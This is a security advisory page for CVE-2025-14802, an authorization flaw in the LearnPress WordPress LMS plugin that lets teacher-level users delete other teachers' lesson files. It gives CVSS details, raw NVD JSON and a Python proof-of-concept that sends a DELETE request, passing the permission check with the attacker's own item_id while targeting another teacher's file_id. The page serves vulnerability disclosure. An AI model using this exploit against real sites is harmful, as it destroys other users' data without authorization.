Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-14802 CVSS 5.4 MEDIUM

CVE-2025-14802

Published: 2026-01-07 12:16:56
Last Modified: 2026-04-15 00:35:42

Description

The LearnPress – WordPress LMS Plugin for WordPress is vulnerable to unauthorized file deletion in versions up to, and including, 4.3.2.2 via the /wp-json/lp/v1/material/{file_id} REST API endpoint. This is due to a parameter mismatch between the DELETE operation and authorization check, where the endpoint uses file_id from the URL path but the permission callback validates item_id from the request body. This makes it possible for authenticated attackers, with teacher-level access, to delete arbitrary lesson material files uploaded by other teachers via sending a DELETE request with their own item_id (to pass authorization) while targeting another teacher's file_id.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

LearnPress < 4.3.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-14802 PoC - LearnPress Unauthorized File Deletion # Target: WordPress site with LearnPress plugin <= 4.3.2.2 target_url = "http://target-wordpress-site.com" # Authentication - Attacker needs teacher-level access # Obtain WordPress nonces via wp-admin or REST API auth_token = "attacker_auth_token_here" # Target file_id to delete (belongs to another teacher) target_file_id = 12345 # Attacker's own item_id (for authorization bypass) attacker_item_id = 67890 # Construct the malicious DELETE request endpoint = f"{target_url}/wp-json/lp/v1/material/{target_file_id}" headers = { "Content-Type": "application/json", "Authorization": f"Bearer {auth_token}", "X-WP-Nonce": "wordpress_nonce_here" } # Request body contains attacker's item_id for auth check payload = { "item_id": attacker_item_id } # Send DELETE request - file_id from URL, item_id from body response = requests.delete(endpoint, headers=headers, json=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Expected: 200 OK - File deleted successfully (vulnerability confirmed)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14802", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:56.477", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LearnPress – WordPress LMS Plugin for WordPress is vulnerable to unauthorized file deletion in versions up to, and including, 4.3.2.2 via the /wp-json/lp/v1/material/{file_id} REST API endpoint. This is due to a parameter mismatch between the DELETE operation and authorization check, where the endpoint uses file_id from the URL path but the permission callback validates item_id from the request body. This makes it possible for authenticated attackers, with teacher-level access, to delete arbitrary lesson material files uploaded by other teachers via sending a DELETE request with their own item_id (to pass authorization) while targeting another teacher's file_id."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.1/inc/rest-api/v1/frontend/class-lp-rest-material-controller.php#L405", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.1/inc/rest-api/v1/frontend/class-lp-rest-material-controller.php#L527", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.1/inc/rest-api/v1/frontend/class-lp-rest-material-controller.php#L77", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.3/inc/rest-api/v1/frontend/class-lp-rest-material-controller.php#L403", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/884c4508-1ee1-4384-9fc2-29e2c9042426?source=cve", "source": "[email protected]"}]}}